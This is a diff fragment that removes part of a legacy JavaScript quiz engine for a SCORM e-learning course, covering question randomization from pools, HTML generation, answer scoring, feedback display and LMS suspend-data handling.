-							tQuestion.getDifferentRandomQuestions(pOrder,pArray , pPreviousQuestionsCache) ;
-						}	
-						previousIndexCache[randomIndex] = true;
-						++iterator;						
-					}	
-				   }			
-			}
-		}
-	}else{
-		alert("Cannot Randomize , all the questions have been exhausted !");
-		return pArray;
-	}	
-	//addToSuspendData( this.id + "_pool" ,  tPoolQuestionOrder );
-	tPoolQuestionOrder = "";
-	return pArray;	
-}
-
-function _getNumberOfPreviousQuestions(pIdCache){
-	var count	=	0;
-	for(var id in pIdCache){
-		if( this.containsQuestion(id) ){
-			count++;
-		}	
-	}
-	return count;
-}
-
-function addMandatoryQuestions(pOrder,pArray , pIdCache){
-	var index = this.mandatoryChildren.length;
-	for(var i = 0 ; i < index ; i ++){
-		if(this.mandatoryChildren[i].isLeafQuestion()){
-			pArray[pArray.length] = this.mandatoryChildren[i];
-			
-			// Added by Jayaprakash A
-			this.mandatoryChildren[i].index = pArray.length -1;
-			
-			pOrder[ORDER] += this.mandatoryChildren[i].getId() + ",";
-			tPoolQuestionOrder += this.mandatoryChildren[i].getId() + ",";			
-		}
-		else{
-		   this.mandatoryChildren[i].getRandomizedQuestions(pOrder,pArray , pIdCache);		
-		}
-	}	
-}
-
-function containsQuestion(pId){
-	var retValue = this.questionIdCache[pId];
-	if(!retValue){
-		retValue = false;
-	}
-return retValue;	
-}
-
-function getQuestionById(pId){
-	var tQuestion = null;
-	var size      = this.randomChildren.length;
-	for(var i = 0 ; i < size ; i ++){
-		if(pId == this.randomChildren[i].getId()){
-			tQuestion = this.randomChildren[i];
-			break;
-		}
-	}
-	if(null == tQuestion){
-	size	      = this.mandatoryChildren.length;
-	  for(var i = 0 ; i < size ; i ++){
-		if(pId == this.mandatoryChildren[i].getId()){
-			tQuestion = this.mandatoryChildren[i];
-			break;
-		}
-	  } 	
-	}
-return tQuestion;	
-} 	
-
-function _getThreshold(){
-	return this.threshold;
-}
-
-function _setThreshold(pThreshold){
-	if(!isNaN(pThreshold)){
-		if(pThreshold <= this.getNumberOfQuestionsToReturn()){
-			this.threshold	=	pThreshold;
-		}else{
-			alert("Threshold is greater than numberOfQuestionsToReturn for pool : " + this.id + " !");
-		}	
-	}	
-}
-
-function _getRolledUpStatus(pQuestions){
-	//debugger;
-	var status	=	false;
-		
-	var tQuestion	=	this.getRandomQuestion(0);
-	if(!tQuestion)
-	{
-		tQuestion=	this.getMandatoryQuestion(0);
-	}
-	
-	if(tQuestion)
-	{
-		if(tQuestion.isLeafQuestion())
-		{
-			var counter	=	0;
-			var size	=	pQuestions.length;
-			var tQuestion	=	null;
-			var numOfCorrect=	0;
-			
-			while(counter < size)
-			{
-				tQuestion	=	pQuestions[counter];
-				if(this.containsQuestion(tQuestion.id))
-				{
-					if(tQuestion.userResponse)
-					{
-						numOfCorrect++;
-					}
-				}
-				counter++;
-			}
-			
-			if(numOfCorrect >= this.threshold)
-			{
-				status = true;
-			}
-		}else		
-		{
-			var counter	=	0;
-			var size	=	this.mandatoryChildren.length;
-			var tQuestion	=	null;
-			var numOfCorrect=	0;
-
-			while(counter < size)
-			{
-				tQuestion	=	this.mandatoryChildren[counter];
-				if(tQuestion.getRolledUpStatus(pQuestions))
-				{
-					numOfCorrect++;
-				}				
-				counter++;
-			}
-			
-			counter		=	0;
-			size		=	this.randomChildren.length;
-			tQuestion	=	null;
-			numOfCorrect	=	0;
-
-			while(counter < size)
-			{
-				tQuestion	=	this.randomChildren[counter];
-				if(tQuestion.getRolledUpStatus(pQuestions))
-				{
-					numOfCorrect++;
-				}				
-				counter++;
-			}
-			
-			if(numOfCorrect >= this.threshold)
-			{
-				status = true;
-			}
-		}
-	}
-	
-	return status;
-}
-
-/// END OF QUESTION OBJECT DEFINITION
- 
- 
-
-function getPoolStatus(pPoolId){
-	var status	=	false;
-	
-	if(pPoolId == iQuestions.id)
-	{
-		status	=	iQuestions.getRolledUpStatus(iHeaderFrame.iFinalQuestions);
-	}else{
-		tQuestionPool	=	searchQuestionPool(iQuestions , pPoolId);
-
-		if(tQuestionPool)
-		{
-			status = tQuestionPool.getRolledUpStatus(iHeaderFrame.iFinalQuestions);
-		}
-		else{
-			alert("Pool with ID : " + pPoolId + " not found !");
-		}
-	}	
-	return status;
-}
-
-function searchQuestionPool(pParentQuestion , pPoolId){
-	var tQuestion	=	null;
-	
-	if(pParentQuestion.containsQuestion(pPoolId))
-	{
-		tQuestion	=	pParentQuestion.getQuestionById(pPoolId); 
-	}else{
-		
-		// check if parent pool contains leaf questions....
-		
-		var tChildQuestion	=	pParentQuestion.mandatoryChildren[0];
-		if(!tChildQuestion)
-		{
-			tChildQuestion	=	pParentQuestion.randomChildren[0];
-		}
-		
-		if(!tChildQuestion || tChildQuestion.isLeafQuestion())
-		{
-			return tQuestion;
-		}
-		
-		// end of check
-		
-		var counter	=	0;
-		var size	=	pParentQuestion.mandatoryChildren.length;
-		tChildQuestion	=	null;
-		
-
-		while(counter < size && tQuestion == null)
-		{
-			tChildQuestion	=	pParentQuestion.mandatoryChildren[counter];
-			if(tChildQuestion.containsQuestion(pPoolId))
-			{
-				return tChildQuestion.getQuestionById(pPoolId);				
-			}
-			else
-			{
-				tQuestion  = searchQuestionPool(tChildQuestion , pPoolId);				
-			}
-			counter++;
-		}
-		
-				
-		if(!tQuestion){
-			counter		=	0;
-			size		=	pParentQuestion.randomChildren.length;
-			tChildQuestion	=	null;
-			
-
-			while(counter < size && tQuestion == null)
-			{
-				tChildQuestion	=	pParentQuestion.randomChildren[counter];
-				if(tChildQuestion.containsQuestion(pPoolId))
-				{
-					return tChildQuestion.getQuestionById(pPoolId);
-				}
-				else
-				{
-					tQuestion  = searchQuestionPool(tChildQuestion , pPoolId);
-				}
-				counter++;
-			}
-		}	
-	}
-	return tQuestion;
-}
-
-
-
- 
-function writeOutput(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-
-	iContentPage = pContentPage;
-	initializeVariables();
-
-	var tString = "";
-	var tQuestion ;
-
-	randomizeQuestions();
-	
-	for (i=0; i < displayQuestions ; i++){
-
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-			tString += generateQuestionHTML( tQuestion, i );
-		}		
-	}
-
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
- 
-
-/// This function gets the user answers from the suspend data and populates the Javascript Datamodels.
-
- 
-
-
-function initializeResults(){
-	
-	var totalQuestions = 0;
-	var tQuestionOrderString = "";
-	var tUserResponse = "";
-
-	tQuestionOrderString = getElementFromSuspendData("questionorder") ;
-
-	var tOrderArray = tQuestionOrderString.split(',');
-	var order;
-	// Added by Jayaprakash A
-	var tQuestion;
-	if(!retainOrder && !repeatAcrossAttempts){
-		for( qs=tOrderArray.length - displayQuestions; qs < tOrderArray.length ; qs++ ){	
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}	
-	}else{
-		for( qs=0; qs < tOrderArray.length ; qs++ ){
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}
-	}
-	
-	retrieveUserResponse();		
-}  
- 
- 
-
-
-function gererateResultSummary(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-	
-	iFinalQuestions = iHeaderFrame.iFinalQuestions;
-	userSelected = iHeaderFrame.iUserAnswers;
-
-	score = iHeaderFrame.score;
-	iContentPage = pContentPage;
-	var tString = '';	
-	if( showPercentage ){
-		score = (score/displayQuestions) * 100;
-		score = Math.round(score);		
-		tString += '<font face="Arial,Helvetica" size="2">You had <strong>' + score +'% </strong> out of ' + displayQuestions + ' questions.'; 			
-	}
-	else{
-		tString += '<font face="Arial,Helvetica" size="2">You had <strong>' + score +' correct answers</strong> out of ' + displayQuestions + ' questions.'; 	
-	}
-
-	initializeVariables();
-
-	var tQuestion;
-	for (i=0; i < displayQuestions; i++ ){
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-		var qn = i+1;
-			if( tQuestion.userResponse ){
-				tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold>Correct</bold><p>';
-			}
-			else{
-				if(userSelected[i]){
-					tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold><font color="red">Incorrect</font></bold><p>';
-				}
-				else{
-			       		tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold><font color="red">Not Attempted</font></bold><p>';
-			       	}
-				
-			}
-		}
-	}
-	tString += '<hr></font>';
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
- 
- 
-
-function generateResultExplanation(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-	
-	iFinalQuestions = iHeaderFrame.iFinalQuestions;
-	userSelected = iHeaderFrame.iUserAnswers;
-		
-		
-
-	iContentPage = pContentPage;
-	
-	var tString = "";
-	tString += '<form name="qz">';
-	for (i=0; i < displayQuestions ; i++){
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-			tString += generateFeedback( tQuestion, i );
-		}		
-		tString += "<br>";
-	}
-	tString += '</form>';
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
-
-  
-
-function setQuestionsForm(pForm){
-	iQuestionsForm = pForm;
-}
-
- 
- 
-
-function answeredAllQuestions(){
-	var allAnswered = true;
-	for(var i=0;i< displayQuestions;i++){
-		if(!userSelected[i]){
-			allAnswered = false;
-			break;
-		}
-	}
-	return allAnswered;
-}
-
-
-
- 
-
- 
-
-function submitAnswers(resultsPage){
-	if ( !resultsPage ){	
-		alert("Valid Results page has to be passed");
-		return;
-	}	
-	
-	
-	var tAttempted = 0;
-	var allAnswered = true;
-	var firstUnAnswered;
- 	getCheckboxValue();
-	setUserResponses();
-
-	if(doAttemptAllAnswers){
-		for(var i=0;i< displayQuestions;i++){
-			if(userSelected[i]){
-				if( userSelected[i].length <= 0 ){
-					allAnswered = false;
-					firstUnAnswered = iFinalQuestions[i].id;
-					unAnsweredQuestionNumber = i+1;
-					break;
-				}
-			}
-			else{
-				allAnswered = false;
-				firstUnAnswered = iFinalQuestions[i].id;
-				unAnsweredQuestionNumber = i+1;
-				break;
-			}
-		}
-	}
-	iHeaderFrame.iFinalQuestions = iFinalQuestions;
-	iHeaderFrame.iUserAnswers = userSelected;
-	iHeaderFrame.iAnswersArray=	iAnswersArray;
-	iHeaderFrame.score = score;
- 
-	if (getElementFromSuspendData("lesson_status") == "attempted"){
-		addToSuspendData("lesson_status" , "");
-	}
-	 if( !allAnswered ){
-	 	alert("You did not answer question number " + unAnsweredQuestionNumber + " !");
-		tLoc = iContentPage.location.href;
-		if( tLoc.indexOf("#") != -1 ){
-			tLoc = tLoc.substring(0,tLoc.indexOf("#") );
-		}
-		tLoc += "#qs" + firstUnAnswered;
-			if(document.all) {
-				iContentPage.location.href = tLoc;
-			}
-			else if(document.layers) {
-				iContentPage.document.URL = tLoc;
-			}
-	 } 
-	 else{
-	 
-	 	saveUserAnswers();
-	 	
-		var scorePercentage = ((score/displayQuestions)*100);
-		var scoreRound = Math.floor(scorePercentage);
-		if( showPercentage ){
-			doLMSSetValue("cmi.core.score.raw",scorePercentage);
-			doLMSSetValue("cmi.core.score.max",100);		
-		}
-		else{
-			doLMSSetValue("cmi.core.score.raw",score);
-			doLMSSetValue("cmi.core.score.max",iFinalQuestions.length);		
-		}
-		if ( scoreRound >= passThreshold ) {
-			doLMSSetValue("cmi.core.lesson_status","passed");
-		}else{
-			doLMSSetValue("cmi.core.lesson_status","failed");
-		}
-		
-		// remove list of questions marked for review
-		addToSuspendData("questionIndex" , "");
-		
-		addToSuspendData("QuestionId" , "");
-		
-		addToSuspendData("answersselected" , "");
-
-		// commit answers.
-		if(!resumeAssessment)
-                	addToSuspendData("questionorder", totalQuestionOrder );// add question order to suspend data
-		doLMSCommit();
-		iContentPage.location.href = resultsPage;
-	 } 
-}
-  
-  
- 
- 
- function setHeaderFrame(pHeader){
- 	iHeaderFrame = pHeader;
- }
- 
- 
-//
-// Following variables and functions are only for internal purposes and should
-// not be used outside of this javascript file.
-//
- 
-var ORDER          = "ORDER";
-var qOrder	   = new Object();
-qOrder[ORDER]	   = "";
-
- 
- 
-var iHeaderFrame;
-
-var totalQuestions = 0;
-var currentQuestion = 0;
-var questionNumbers = 1;
-var currentIndex = 1;
-var iQuestionOrder = "";
-var iQuestions	   = new Question("PARENT","","");	
-var iFinalQuestions = new Array();
-var iAnswersArray = new Array();
-var iRandomIndices = new Array();
-var userSelected = new Array(); 
-var totalQuestionOrder = "";
-var score = 0;
-
-var iContentPage;
-
-var iQuestionsForm;
-
-
-var reviewQuestions = new Array();
-var userAnswers = new Array();
-var reviewQuestionNumber = new Array();  // list of questionIds marked for review
-var reviewQuestionCache  = new Object(); // for fast lookup , 
-
-
-function initializeVariables(){
-	
-	currentQuestion = 0;
-	questionNumbers = 1;	
-	currentIndex = 1;
-	iQuestionOrder = "";
-	
-}
-
-
-function randomizeQuestions(){
-	
-	var tSuspendData = doLMSGetValue("cmi.suspend_data");	
-	if( iFinalQuestions.length > 0 ){
-		return;
-	}
-	//debugger;
-	if( tSuspendData.indexOf("questionorder") == -1 ||  retainOrder == false ){	
-		var tQuestionOrderString =	getElementFromSuspendData("questionorder") ;
-		var tOrderArray = tQuestionOrderString.split(',');
-		var tIdCache	=	generatePreviousIdCache(tOrderArray);
-		
-		var questionOrder	=	"";
-
-		iQuestions.getRandomizedQuestions(qOrder,iFinalQuestions , tIdCache);
-		iQuestionOrder = qOrder[ORDER].substring(0,qOrder[ORDER].length - 1); // Remove the trailing comma ',' //				
-
-		if (tQuestionOrderString && !repeatAcrossAttempts){
-			questionOrder	=	tQuestionOrderString + "," + iQuestionOrder ;
-		}
-		else{
-			questionOrder	=	iQuestionOrder ;
-		}
-		totalQuestionOrder	=	questionOrder;
-		if(resumeAssessment)
-			addToSuspendData("questionorder", questionOrder );	//commented by Manu , moved to submitAnswers()			
-	}
-	else{
-		var tTotalQuestionPools = iQuestions.mandatoryChildren.length + iQuestions.randomChildren.length;
-		var tQuestionPool;
-		var tQuestionPoolId = "";
-		var totalQuestions = 0;
-		var tQuestionOrderString = "";
-		var tUserResponse = "";
-
-		tQuestionOrderString = getElementFromSuspendData("questionorder") ;
-		
-		totalQuestionOrder	=	tQuestionOrderString;
-		
-		var tOrderArray = tQuestionOrderString.split(',');
-		var order;
-		// Added by Jayaprakash A
-		var tQuestion;
-		for( qs=0; qs < tOrderArray.length ; qs++ ){
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}
-		
-		if(resumeAssessment) {
-		     var isFinished = false;
-		     //if (getElementFromSuspendData("lesson_status") == "attempted") isFinished = true ;
-		     //if( isFinished ){
-			currentQustionIndex = getQuestionId();
-			getUserSelectedArrayInSuspendData();
-		     //}
-
-		     if(tSuspendData.indexOf("questionIndex") != -1){
-			     // get the list of questions marked for review.
-			     var marked		=	getElementFromSuspendData("questionIndex");
-			     var indices	=	marked.split(',');
-			     var length 	= 	indices.length ;
-			     var counter	=	0;
-			     var questionId 	=   	"";
-			     while(counter < length){
-				questionId			=	indices[counter];
-				// remove duplicate entries if any.
-				if(questionId && !reviewQuestionCache[questionId]){
-					reviewQuestionNumber[reviewQuestionNumber.length]	=	questionId;
-					reviewQuestionCache[questionId]	=	1; // dummy value , just need the questionId
-				}
-				counter++;
-			     }
-		     }
-		}
-		
-
-	}
-}
-
-function generatePreviousIdCache(pOrderArray){
-	var size	=	pOrderArray.length;
-	var counter	=	0;
-	var tString	=	"";
-	var IdCache	=	new Object();
-	
-	while(counter < size){
-		tString	=	pOrderArray[counter];
-		IdCache[tString] = true;
-		counter++;
-	}
- return IdCache;	
-}
-
-
-function retrieveQuestion(pId,pParentQuestion){
-	var tQuestion = null;
-	if( pParentQuestion.containsQuestion(pId) ){
-		tQuestion = pParentQuestion.getQuestionById(pId);
-	}	
-	else{
-		tQuestion = searchInChildQuestions(pId , pParentQuestion);
-	}
-	return tQuestion;	
-}
-
-function saveUserAnswers(){
-		if( userSelected != null ){
-		tString = "";
-		for(i=0; i < userSelected.length; i++){
-			if(userSelected[i])
-				tString += userSelected[i];
-			if( i < (userSelected.length - 1) ){
-				tString += ";";
-			}
-		}
-	}
-	addToSuspendData("answers",tString);
-}
-
-/// This function gets the user answers from the suspend data and populates the Javascript Datamodels.
-  
-function retrieveUserResponse(){
-	var tString = getElementFromSuspendData("answers");
-	if( tString ){
-		var tArray = tString.split(";");
-	}
-	for( i=0; i < tArray.length; i++){
-
-		userSelected[i] = tArray[i];
-	}
-	setUserResponses();
-	return userSelected;	
-}
-
-
-function searchInChildQuestions(pId , pParentQuestion){
-	var size = pParentQuestion.getNumberOfRandomQuestions();
-	var tQuestion = null;
-	var tParent   = null;
-	
-	for(var index = 0 ; index < size ; index++){
-		tParent = pParentQuestion.getRandomQuestion(index);
-		if( tParent.containsQuestion(pId) ){
-			tQuestion = tParent.getQuestionById(pId);
-			break;
-		}	
-		else{
-			tQuestion = searchInChildQuestions(pId , tParent);
-		}	
-	}
-	if(null == tQuestion){
-		size = pParentQuestion.getNumberOfMandatoryQuestions();
-		for(var index = 0 ; index < size ; index++){
-				tParent = pParentQuestion.getMandatoryQuestion(index);
-				if( tParent.containsQuestion(pId) ){
-					tQuestion = tParent.getQuestionById(pId);
-					break;
-				}	
-				else{
-					tQuestion = searchInChildQuestions(pId , tParent);
-				}	
-		}
-	}
-	return tQuestion;	
-}
-
- 
-
-
-function questionToString(){
-	return generateQuestionHTML(this, this.index );
-}
-
-
-function generateQuestionHTML( pQuestion, index ){
-	var tString = "";
-	var tAnswers = pQuestion.answers;
-	var tAnswer;
-	var tType = "radio";
-	
-	var correctAnsString = "";
-	
-	if( pQuestion.type == "multiple" ){
-		tType = "checkbox"; 
-		
-		tString += '<tr><td> <a name="qs' + pQuestion.id + '">&nbsp;</a></td> </tr>';
-		tString += '<tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="qs' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += (index + 1) + '. &nbsp;&nbsp;</td><td valign=top align=left class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    if(!pQuestion.instructionText){
-	    	tString += '<span class="blue">Please select&nbsp;&nbsp;<b>all the correct answers</b>.</span></td></tr>\n';
-	    }else{
-	    	tString +=   pQuestion.instructionText;
-	    }	
-	}
-	else{
-		tString += '<tr><td> <a name="qs' + pQuestion.id + '">&nbsp;</a></td> </tr>';
-		tString += '<tr>\n <td colspan="3"> \n';
-		tString += '<div class="qtext" name="qs' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0 width=600><tr><td valign=top width=25 align=left><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += (index + 1) + '. &nbsp;&nbsp;</td><td valign=top class="qtext" align=left colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select <b>the best answer</b>.</span></td></tr>\n';
-	    }
-		else{
-			tString +=   pQuestion.instructionText;
-	    }
-	    
-	}
-	var questionLetter = 1;
-	if(doLMSGetValue("cmi.suspend_data").indexOf("lesson_status") != -1){
-		tArray = getUserResponse();
-		for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1) 
-				}
-				else{
-					correctAnsString += (j+1);			
-				}
-			}
-			var userclick=userAttemptedValues((index + 1),tArray,questionLetter);
-
-			tString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span 	class="choice" name="' + pQuestion.id +'choice' + (j+1) + '">\n';
-			if( pQuestion.type == 'multiple' ){
-				if(userclick=="true" && resumeAssessment){
-					tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-				else{
-					tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" 	type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-			}
-			else if( pQuestion.type == 'single' ){
-				if(userclick=="true" && resumeAssessment){
-				tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-				else{
-					tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-			}
-		
-			questionLetters = String.fromCharCode( questionLetter + 64 );
-			
-			tString += '</input></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-			tString += tAnswers[j].text;
-			tString += '<br><br></td></tr>\n';
-			questionLetter++;
-		}
-	}
-	else{
-		for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1);
-				}
-				else{
-					correctAnsString += (j+1);		
-				}
-			}
-			tString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span class="choice" name="' + pQuestion.id +'choice' + (j+1) + '">\n';
-			if( pQuestion.type == 'multiple' ){
-				tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-			}
-			else if( pQuestion.type == 'single' ){
-				tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-			}
-
-			questionLetters = String.fromCharCode( questionLetter + 64 );
-
-			tString += '</input></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-			tString += tAnswers[j].text;
-			tString += '<br><br></td></tr>\n';
-			questionLetter++;
-		}
-	}
-	tString += '</p>\n';
-	tString += '</td></tr></table></div>\n';
-	tString += '</td>\n</tr>\n';
-
-	questionNumbers++;
-	iAnswersArray[ index ] = correctAnsString;
-	return tString;
-}
-
-function checkIfSelected(userAnswer, option){
-	option = new String(option);
-	if( userAnswer.indexOf(option) == -1 ){
-		return "";
-	}
-	else{
-		return "checked";
-	}
-}
-
-
-function generateFeedback(pQuestion, index){
-
-	var tString = "";
-	var tAnswers = pQuestion.answers;
-	var correctAnsString = "";
-	
-	if( pQuestion.type == "multiple" ){
-		tType = "checkbox"; 
-	
-		tString += '<table><tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top class="qtext" width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += questionNumbers + '. &nbsp;&nbsp;</td><td valign=top class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    
-		if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select&nbsp;&nbsp; <b>all the correct answers</b>.</span></td></tr>\n';
-		}else{
-			tString +=   pQuestion.instructionText;
-	    	}
-		tString += '<br>\n';
-	}
-	else{
-		tString += '<table><tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top class="qtext" align=left width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += questionNumbers + '. &nbsp;&nbsp;</td><td valign=top align=left class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    	
-	    	if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select <b>the best answer</b>.</span></td></tr>\n';
-		}else{
-			tString +=   pQuestion.instructionText;
-	    	}
-	    
-	}
-	var questionLetter = 1;
-	for( j=0; j < tAnswers.length; j++ ){
-		if( tAnswers[j].correct == true ){
-			if( correctAnsString.length > 0 ){
-				correctAnsString += "," + (j+1);
-			}
-			else{
-				correctAnsString += (j+1);
-			}
-		}
-		
-		tString += '<tr><td width=15>&nbsp;</td><td valign=top align=left width=15><span class="choice" name="' + pQuestion.id +'choice' + (j+1)  + '">\n';
-		if( pQuestion.type == 'multiple' ){
-			tString += '<input disabled name="' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" ' +checkIfSelected(userSelected[index],j+1) + ' >\n';
-		}
-		else if( pQuestion.type == 'single' ){
-			tString += '<input disabled name="'+ pQuestion.id + 'RadioInp" type="radio" ' + checkIfSelected(userSelected[index],j+1) + ' >\n';
-		}
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-		
-		tString += '</input></td><td valign=top width=15 align=left class="qtext">' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top class="qtext" align=left width=555>';
-		tString += tAnswers[j].text;
-		tString += '<br><br></td></tr>\n';
-		questionLetter++;		
-	}
-
-	var tFeedback;
-	if( pQuestion.userResponse ){
-		tFeedback = pQuestion.correctFeedbackText;
-	}
-	else{
-		tFeedback = pQuestion.incorrectFeedbackText;	
-	} 
-	if( tFeedback == "" ){
-		tFeedback = correctAnswerString(correctAnsString);
-	}
-	
-	tString += '</p>';
-	tString += '<tr><td> </td><td colspan=3 class="qtext">' + tFeedback;	
-    tString += '</td></tr></table></div>\n';
-	tString += '</td>\n</tr></table>\n';
-
-	questionNumbers++;
-	return tString;
-	
-}
-
-
-function insertCommas(pString){
-	var newString = "";
-	var tChars = pString.split(",");
-	var tNumber;
-	for( chars=0; chars < tChars.length ; chars++){
-	
-		tNumber = tChars[chars];
-		tNumber = parseInt( tNumber );
-		
-		if( !isNaN( tNumber ) ){
-				if( tChars.length > 1 ){
-					if( chars >= tChars.length -1 ){
-						newString += " and ";
-					}
-					
-				}
-
-			newString += String.fromCharCode(  tNumber + 64 ) ;
-
-			if( tChars.length > 1 && (chars < tChars.length -2 ) ){
-				newString += ",";
-			}
-		}
-	}
-	return newString;
-}
-
-
-function correctAnswerString(answers){
-	var tString = "";
-	
-	tString += "The correct answer";
-	if( answers.length == 1 ){
-		tString += " is " + insertCommas(answers) + ".";
-	}
-	else{
-		tString += "s are " + insertCommas(answers) + ".";	
-	}
-	return tString;
-}
-
-  function updateRadio(queName,value){
-  	//userSelected[queName] = value;
-  	// commented by surekha as the below function works same as above
-  	checkCurentQuestionOnClick(queName);
-  }	
-  
-  
-  function setUserResponses(){
-  	score = 0;
-    for(var i=0;i< iFinalQuestions.length;i++){
-		generateQuestionHTML(iFinalQuestions[i],i);
-	   	if(userSelected[i] == iAnswersArray[i]){
-			iFinalQuestions[i].userResponse = true;
-			score++;
-		}
-	  }	   
-  }
-  
-  
-  function getCheckboxValue() {
-	var tQuestion;
-	for( i=0; i < displayQuestions; i++){
-		tQuestion = iFinalQuestions[i];		
-		checkForCorrectResponse( tQuestion,i );
-	}	
-}	
-
-//updated by Sampad in order to handle single Question per Page with resume functionality.. to get back user response
-
-function checkForCorrectResponse(pQuestion,index){
-    var tStr = "";
-	
-	if(isSingleQuestionPerPage)
-	{
-	var f = parent.quizheader.iQuestionsForm;
-	}
-	else
-	{
-	var f = iQuestionsForm;	
-	}
-	
-	//var f = iQuestionsForm;//iContentPage.document.xp; 
-	var selCount =0;
-	var button;
-	var radiobutton;
-
-	tStr = "";
-	if( pQuestion ){			
-		if( pQuestion.type == 'multiple' ){
-			eval('button = f.qs' + pQuestion.id + 'choiceBtn' );
-			if( button ){
-				for( j=0; j < button.length; j++ ){
-					if( button[j].checked ){
-						if( tStr.length > 0 ){
-							tStr += "," + button[j].value;
-						}
-						else{
-							tStr += button[j].value;
-						}
-					}
-				}				
-				userSelected[index] = tStr;	
-				//alert("question" + index + "response" +tStr);
-			}
-		}
-		else{
-			var temp='radiobutton = f.qs' + pQuestion.id + 'RadioInp';
-			eval(temp );
-			if( radiobutton ){
-				for( j=0; j < radiobutton.length; j++ ){
-					if( radiobutton[j].checked ){
-						tStr += j+1;
-					}
-				}
-				userSelected[index] = tStr;
-					//alert("question" + index + "response" +tStr);
-			}
-		}			
-	}
-}
-
-
-var currentQustionIndex = 0;
-
- 
- 
-
-function hasNextQuestion(){
-	var tReturn = false;
-	if( currentQustionIndex < iFinalQuestions.length ){
-		tReturn = true;
-	}
-	return tReturn;
-}
-
- 
- 
-function getNextQuestion(){
-	var tQuestion = iFinalQuestions[currentQustionIndex];
-	addToSuspendData("QuestionId" , currentQustionIndex);
-	currentQustionIndex++;	
-	doLMSCommit();
-	return tQuestion;
-}
-
-
-  
-function getNextQuestionString(){
-	var tQuestion = getNextQuestion();
-	var tString = "";
-	if( tQuestion ){
-		tString = generateQuestionHTML(tQuestion, currentQustionIndex-1 );
-	}
-	return tString;	
-}
-
-
-  
-function checkCurrentQuestion(){
-	var tQuestion = iFinalQuestions[currentQustionIndex-1];	
